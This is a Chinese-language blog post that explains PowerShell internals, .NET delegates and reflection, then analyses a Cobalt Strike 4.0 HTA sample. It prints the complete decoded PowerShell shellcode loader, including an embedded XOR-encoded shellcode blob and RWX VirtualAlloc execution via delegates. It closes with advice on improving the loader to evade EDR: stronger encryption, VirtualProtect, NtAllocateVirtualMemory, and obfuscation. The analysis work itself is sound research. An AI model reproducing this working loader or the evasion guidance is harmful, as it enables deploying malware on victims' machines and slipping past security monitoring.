一般的shell程序都会将指令分为内部指令和外部指令,内部命令于shell程序自身内部对应的函数执行,对于外部命令,会从命令行参数中解析出程序名和参数,然后在当前目录、PATH环境变量中找到路径,调用Win32 APICreateProcessW()创建新进程执行命令。
在Powershell中命令分为一下几种:
Alise:ls→Get-ChildItem
Function:用户或模块定义的 PowerShell 函数
Cmdlet:Get-Process
External Script(.ps1 脚本)
Application(外部可执行程序)
Cmdlet 是 PowerShell 中最基本的命令单元。每一个Cmdlet都对应一个.NET类(继承自System.Management.Automation.Cmdlet或PSCmdlet)。
Pwershell启动时候,会加载自身的dll,其中包含了大量的Cmdlet,对于Powershell来说,所有的cmdlet都是他的内部函数,因此它的功能相比cmd更加强大,可以进行对象的创建,方法的调用,甚至自定义cmdlet等等复杂的操作。
而且和cmd输出是字符串不同,Powershell 的Get-ChildItem输出是 FileInfo/DirectoryInfo对象,可直接访问属性。
命令解析:PowerShell 引擎使用其内置的解析器(Parser)将字符串转换为 抽象语法树(Abstract Syntax Tree, AST),与已加载模块中的 cmdlet进行匹配
实例化Cmdlet对象:通过反射(Reflection)创建该 cmdlet 类的一个实例。
参数绑定:将命令行参数自动绑定到 cmdlet 类中对应的公共属性(Property)上。
Get-Process -Name notepad ==
cmdlet.Name = "notepad";
Cmdlet生命周期管理方法
| 方法 | 作用 | 调用时机 |
|---|---|---|
BeginProcessing() | 初始化资源(如打开文件、连接数据库) | 在处理任何输入前调用一次 |
ProcessRecord() | 核心逻辑,处理每一条输入记录 | 对每个输入对象调用一次(或无输入时调用一次) |
EndProcessing() | 清理资源、汇总结果 | 所有记录处理完后调用一次 |
输出输出对象到管道或控制台
在ProcessRecord()或EndProcessing()中,通过WriteObject(),WriteError()等方法输出内容。
输出的对象进入 PowerShell 管道,可被下一个 cmdlet 接收,或最终由格式化系统(如 Out-Default)渲染为文本显示在控制台。
清理与释放
.NET是一个由微软主导的、开源的一个开发平台,拥有自己的一套运行时环境(CLR),.NET平台下的编程语言被称为C#,和C、GO一样,C#在编译的时候会加载自己运行库,进而生成可执行文件。而Poweshell就是一个.NET程序。
Powershell代码运行再CLR之上,CLR 负责控制所有的native调用,CLR 不允许你生成或执行任意call [address]指令。
.NET 程序被编译成的是 CIL(Common Intermediate Language),不是 x86/x64 机器码。CIL 中调用函数的方式只有几种:
| 指令 | 用途 |
|---|---|
call/callvirt | 调用已知的 .NET 方法(由元数据引用) |
calli | 间接调用(通过函数指针),但需指定精确签名 |
即使使用
calli,你也必须提供完整的调用签名(参数、返回值、调用约定)——这本质上就是“委托”的作用!
而 PowerShell 或普通 C# 代码无法直接 emitcalli指令,所以,在获取到底层系统调用函数的地址之后,还需要经过委托,进行调用。
委托(Delegate)在 .NET 中要实现的根本目标是 :将“方法”当作“数据”来传递和操作。根据其定义时的签名(signature)来严格限制可以绑定(或赋值)的方法的
// 定义委托
public delegate void MyDelegate(string message);
// 使用示例
class Program
{
static void Main()
{
MyDelegate del = new MyDelegate(ShowMessage); // 或简写为 MyDelegate del = ShowMessage;
del("Hello, Delegate!");
}
static void ShowMessage(string msg)
{
Console.WriteLine(msg);
}
}
el.Invoke("Hello"); // 显式调用
del("Hello"); // 隐式调用(语法糖)
此恶意文件时CS 4.0版本,然后通过HTTP Application 所生成
该样本通过VBScript 脚本,创建了一个函数,该函数调用了powershell 执行恶意文件 ,先通过如下脚本将powershell的参数进行base64解码
# decode_payload.ps1
# 用你的 Base64 字符串替换下面的占位符
$encoded = "BASE64_ENCODED_PAYLOAD_HERE"
# 将 Base64 解码为字节数组(原始编码为 UTF-16LE)
$bytes = [System.Convert]::FromBase64String($encoded)
# 将字节数组按 UTF-16LE(Unicode)解码为明文 PowerShell 脚本
$decodedScript = [System.Text.Encoding]::Unicode.GetString($bytes)
# 输出解密后的内容(不执行!)
Write-Output $decodedScript
结果如下:

$s=New-Object IO.MemoryStream(,[Convert]::FromBase64String("..."));IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();
[Convert]::FromBase64String:对加载器进行base64解码
IO.MemoryStream:在内存中创建一个可以读写的流,来存储加载器
IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress):进行Gzip解压
IO.StreamReader(....):将解压后的字节流包装成文本读取器
.ReadToEnd():读取全部解压后的内容,返回一个字符串
IEX:动态解析并执行该字符串
根据上述代码,还原powershell命令
$s=New-Object IO.MemoryStream(,[Convert]::FromBase64String($encoded));
$decodedScript=(New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd()
Write-Output $decodedScript
结果:
Set-StrictMode -Version 2
$DoIt = @'
function func_get_proc_address {
Param ($var_module, $var_procedure)
$var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
$var_gpa = $var_unsafe_native_methods.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string'))
return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure))
}
function func_get_delegate_type {
Param (
[Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,
[Parameter(Position = 1)] [Type] $var_return_type = [Void]
)
$var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed')
$var_type_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed')
return $var_type_builder.CreateType()
}
[Byte[]]$var_code = [System.Convert]::FromBase64String('38uqIyMjQ6rGEvFHqHETqHEvqHE3qFELLJRpBRLcEuOPH0JfIQ8D4uwuIuTB03F0qHEzqGEfIvOoY1um41dpIvNzqGs7qHsDIvDAH2qoF6gi9RLcEuOP4uwuIuQbw1bXIF7bGF4HVsF7qHsHIvBFqC9oqHs/IvCoJ6gi86pnBwd4eEJ6eXLcw3t8eagxyKV+S01GVyNLVEpNSndLb1QFJNz2yyMjIyMS3HR0dHR0Sxl1WoTc9sqHIyMjeBLqcnJJIHJyS5giIyNwc0t0qrzl3PZzyq8jIyN4EvFxSyMR46dxcXFwcXNLyHYNGNz2quWg4HNLoxAjI6rDSSdzSTx1S1ZlvaXc9nwS3HR0SdxwdUsOJTtY3Pam4yyn6SIjIxLcptVXJ6rayCpLiebBftz2quJLZgJ9Etz2Etx0SSRydXNLlHTDKNz2nCMMIyMa5FYke3PKWNzc3BLcyrIiIyPK6iIjI8tM3NzcDEJuGlYjh8IE9pATsP5/kC7jifTz8Q0ZKWt2U6kiJI7ISVlKtX7fNx9DdZS+FqGZEO3nl1ET1YioJ2HitvkwKgvL24hBuuqcPupch1WZRiN2UEZRDmJERk1XGQNuTFlKT09CDBYNEwMLQExOU0JXSkFPRhgDbnBqZgMaDRMYA3RKTUdMVFADbXcDFQ0SGAN3UUpHRk1XDBYNExgDYWxqZhoYZnBmcAouKSNTASacPP2t9D9Vk2/id7ELFQj5GFQQzX2mM/6F0M5/tZQEjt8MkgDus+zfa58piNXg03paXR1NwtdjmpGOCfq6/P7pB2MpCmu+Sa4DA91Cyo77IvxssCgWszRmeoVSZ3hbSGYwkbUs2lxvT4BVhOQDmCy46nNkcvtXWMMOoSbWX1Jy2m9/W07r/E+lIiybIlkLXjr9I3AkMp0TihqcGunNVC0NdCbUZeXpwJIMBcXj2q3hsEvXUj3vnG2mh6vRnDaU2aABgrQjvv/wpsKRBuwIckmuYBkjS9OWgXXc9kljSyMzIyNLIyNjI3RLe4dwxtz2sJojIyMjIvpycKrEdEsjAyMjcHVLMbWqwdz2puNX5agkIuCm41bGe+DLqt7c3BIaEQ0SFRsNERASDRIQESMxF3Vb')
for ($x = 0; $x -lt $var_code.Count; $x++) {
$var_code[$x] = $var_code[$x] -bxor 35
}
$var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll,VirtualAlloc), (func_get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))
$var_buffer = $var_va.Invoke([IntPtr]::Zero, $var_code.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $var_buffer, $var_code.length)
$var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (func_get_delegate_type @([IntPtr]) ([Void])))
$var_runme.Invoke([IntPtr]::Zero)
'@
If ([IntPtr]::size -eq 8) {
start-job { param($a) IEX $a } -RunAs32 -Argument $DoIt | wait-job | Receive-Job
}
else {
IEX $DoIt
}
该函数的作用是找到指定函数的地址,两个参数分别是dll和func的名字,总的来说,就是先找到system.dll,然后从**UnsafeNativeMethods**类中获取到GetProcAddress函数的地址,然后调用该函数获取所需函数的地址
以下是实现细节:
获取当前 PowerShell 进程中已加载的所有 .NET 程序集(assemblies)。返回一个System.Reflection.Assembly[]数组。
通过判断是否在 GAC(全局程序集缓存)中,准确找到官方 .NET Framework的 System.dll
System.dll是一个托管程序集,是.NET 基础类库(BCL)的一部分,里面封装了许多对底层 Windows 系统功能的调用。
在找到的System.dll程序集中,通过反射获取名为Microsoft.Win32.UnsafeNativeMethods的类型(Type),其中包含了该类的方法、属性、字段等所有元数据
UnsafeNativeMethods是.NET Framework 内部(internal)的一个 C# 类,位于System.dll程序集中,包含GetProcAddress、GetModuleHandle、LoadLibrary(string)等关键 API,可实现动态函数解析
从UnsafeNativeMethods中获取GetProcAddress函数地址
通过GetProcAddress方法获取指定函数的地址
通过反射调用GetModuleHandle方法,获取到system.dll 的handler
通过New-object 创建System.Runtime.InteropServices.HandleRef对象
public HandleRef(object wrapper, IntPtr handle)
为handle创建一个wrapper托管对象,当进行系统调用处理的时候,handle被真实传递给Win32 API, .NAT可以钉住wrapper,防止在系统调用期间,GC回收handle
此时由于是静态方法,因此随意传入一个IntPtr指针即可
void LoadLibrary() {
var file = new MyFile("data.bin"); // ← 创建对象
IntPtr h = file.GetHandle(); // ← 获取句柄(IntPtr)
SomeWin32API(h); // ← 调用 Win32 API(耗时 100ms)
Console.WriteLine("Done");
}
根据上述代码,file对象在Win32 API调用开始之后,就没有被后续代码访问了,而file又是一个局部变量,因此,JIT 编译器会在 IL(中间语言)级别标记file的生命周期在此结束,因此需要通过HandleRef创建一个托管对象,保证file对象不会再系统调用期间被释放
//获取Type对象
$myType = [AppDomain]::CurrentDomain.GetAssemblies().GetType()
//获取方法的methodinfo
$method = $myType.GetMethod(string name, Type[] types)
//调用方法
$result = $method.Invoke($null, @(-5))
//第一个参数代表对象实例,如果是静态方法,传入NULL
//第二个参数,实际参数列表,无参数写入@()
动态生成一个与目标原生函数签名匹配的 .NET 委托类型,以便将函数指针(如GetProcAddress返回的地址)转换为可调用的委托对象。第一个参数是函数参数类型数组,第二个参数是返回值类型。
同样以下是实现细节:
创建自定义类型
使用DefineDynamicAssembly在内存中创建一个仅运行时不持久化的程序集(Run模式),名称为'ReflectedDelegate'
在程序集中创建一个名为'InMemoryModule'的模块,$false表示不生成可保存的 PE 文件(纯内存)
创建一个名为'MyDelegateType'的新类型
定义构造函数
.SetImplementationFlags('Runtime, Managed')
表示该方法由 CLR 运行时自动实现,无需提供 IL 代码
定义invoke方法
返回委托类型
System.Runtime.InteropServices.Marshal是 .NET 中用于托管代码(Managed Code)与非托管代码(Unmanaged Code)之间互操作(Interop)的核心类。
托管代码:由 .NET 编译器编译为中间语言(IL, Intermediate Language),并在 CLR控制下执行的代码,由 CLR 负责:
内存管理(自动垃圾回收 GC)
类型安全检查、异常处理、安全性验证、JIT 编译(将 IL 编译为本地机器码)
运行在 应用程序域(AppDomain)中
非托管代码:不由 CLR 管理的代码,通常直接编译为特定平台的原生机器码(native code)
须手动分配/释放内存(如
malloc/free或new/delete)无类型安全或边界检查:容易出现缓冲区溢出、内存泄漏等
直接运行在操作系统上,性能高但风险大
通常以 DLL(Windows)或 so(Linux)形式存在
它提供了一系列静态方法,用于:
内存分配/释放(非托管堆)
类型转换(封送处理,Marshaling)
函数指针 <> 委托转换
结构体 <> 指针互转
错误处理(Win32 HRESULT 转异常)
COM 对象交互
将非托管代码指针转换为可委托对象,然后过于新建的委托类型进行调用
将托管代码(shellcode)写入VirtualAlloc申请的地址空间,方便后续执行
判断当前操作系统位数,如果是64位,则通过Start-Job -RunAs32启动一个 32 位子进程来执行
首先是根据system.dll,找到GetProcAddress函数的地址,通过它可以找到我们需要的函数地址(Kernal32.dll 中的VirtualAlloc)
创造一个自定义的委托类型,满足VirtualAlloc使用,通过Marshal::GetDelegateForFunctionPointer方法,将我们获得的非托管原生代码(Win32 API、shellcode、DLL 导出函数)地址转换为可以可调用的 .NET 委托(Delegate)对象,通过.invoke方法,调用VirtualAlloc,为shellcode申请内存空间
调用Marshal::Copy然后将shellcode复制到VirtualAlloc申请的内存地址中(具有执行权限)
创造一个自定义的委托类型,满足shellcode的执行条件@([IntPtr]) ([Void]),继续通过.invoke方法,执行shellcode
优点
整体上来看,该恶意文件对shellcode进行了XOR加密,以及整体进行了gzip压缩和base64编码,可以规避对于已知shellcode特征的规则检测。
从加载器的角度来看,并没有使用DLLImport直接调用win32 API,而是通过UnsafeNativeMethods反射获取到GetProcAddress的函数地址,然后通过自定义委托类型的方式,进一步隐藏了行为。
改进
可以使用AES 或 RC4等更复杂的加密方式。
VirtualAlloc(..., PAGE_EXECUTE_READWRITE)是高危行为,EDR 会进行监控。可以先分配PAGE_READWRITE,写入 shellcode 后用VirtualProtect改为PAGE_EXECUTE_READ。
通过kernel32.dll!VirtualAlloc调用,极有可能被 Hook,可以尝试调用更底层的函数(ntdll.dll中的NtAllocateVirtualMemory)。
对powershell语法进行混淆,字符拆拆分、变量重命名、将关键逻辑拆分为多个函数等等。
避免使用Start-Job -RunAs32,可以直接设置仅在32位系统中运行,放弃对64位的兼容。
在高版本.NET中,UnsafeNativeMethods类被移除、或者不可访问,因此传统通过反射获取GetModuleHandle/GetProcAddress的方法失效。我们可以通过 PowerShell 的Add-Type+DllImport来显示声明所需 API。但是这两个本身容易被检测,因此需要借助混淆进行绕过。